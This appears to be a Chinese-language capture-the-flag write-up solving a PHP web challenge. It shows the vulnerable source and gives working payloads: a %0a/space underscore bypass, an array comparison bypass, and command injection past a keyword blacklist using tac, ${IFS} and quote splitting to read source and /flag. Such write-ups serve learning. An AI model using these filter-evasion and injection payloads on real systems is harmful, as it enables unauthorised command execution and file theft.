看看源码是什么先
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 use your baby trick bypass me <?php echo "use your baby trick bypass me "; highlight_file (__FILE__ ); ini_set ("display_error" , false ); error_reporting (0 ); $str = isset ($_GET ['O_O' ])?$_GET ['O_O' ]:'O_O' ; if (strpos ($_SERVER ['QUERY_STRING' ], "O_O" ) !==false ) { echo 'O_O, baby' ; } elseif ($str <9999999999 ) { echo 'too small' ; } elseif ((string )$str >0 ) { echo 'too big' ; } else { $num = isset ($_GET ['num' ])?$_GET ['num' ]:'num' ; if (is_numeric ($num )) { die ("no num" ); } switch ($num ) { case 0 : break ; case 1 : break ; case 2 : echo file_get_contents ('secret.php' ); break ; default : echo "2333333" ; break ; } } ?> too small
好!先是一个_的问题,这里直接用空格或者是%0a就能替换掉,这样第一个就过了。 其次就是一个数字大小判断的问题,这里用数组进行绕过
num的要求是2,但不能是数字
f12查看源码,发现多了
1 2 3 ?php "my secret is in f35cdaa4e8672a43e73aee7c2dd51731, try to get it" ; ?
访问f35cdaa4e8672a43e73aee7c2dd51731.php
绕过问题 看看有什么
抓个当前的php看看先,这里过滤了cat,php,我们用tac
1 ?cmd=tac ${IFS} f35cdaa4e8672a43e73aee7c2dd51731.p"" hp
这样就ok啦,整理下返回的内容
1 2 3 4 5 6 if (isset ($_GET ['cmd' ])){ if (!preg_match ("/^.*php.*$|^.*echo.*$|^.*cat.*$|^.*busybox.*$|[A-Z0-9a-z].*>[A-Za-z0-9]|[A-Z0-9a-z].*>>[A-Za-z0-9]|[A-Z0-9a-z].*>&[A-Za-z0-9]|^.*rm.*$/i" ,$_GET ['cmd' ])){ echo "hacker" ; } else { system ($_GET ['cmd' ]);} }
大概就是这个样子了 构造我们的payload
1 2 ?cmd=%0als / ?cmd=%0atac /flag
这样就能拿到flag了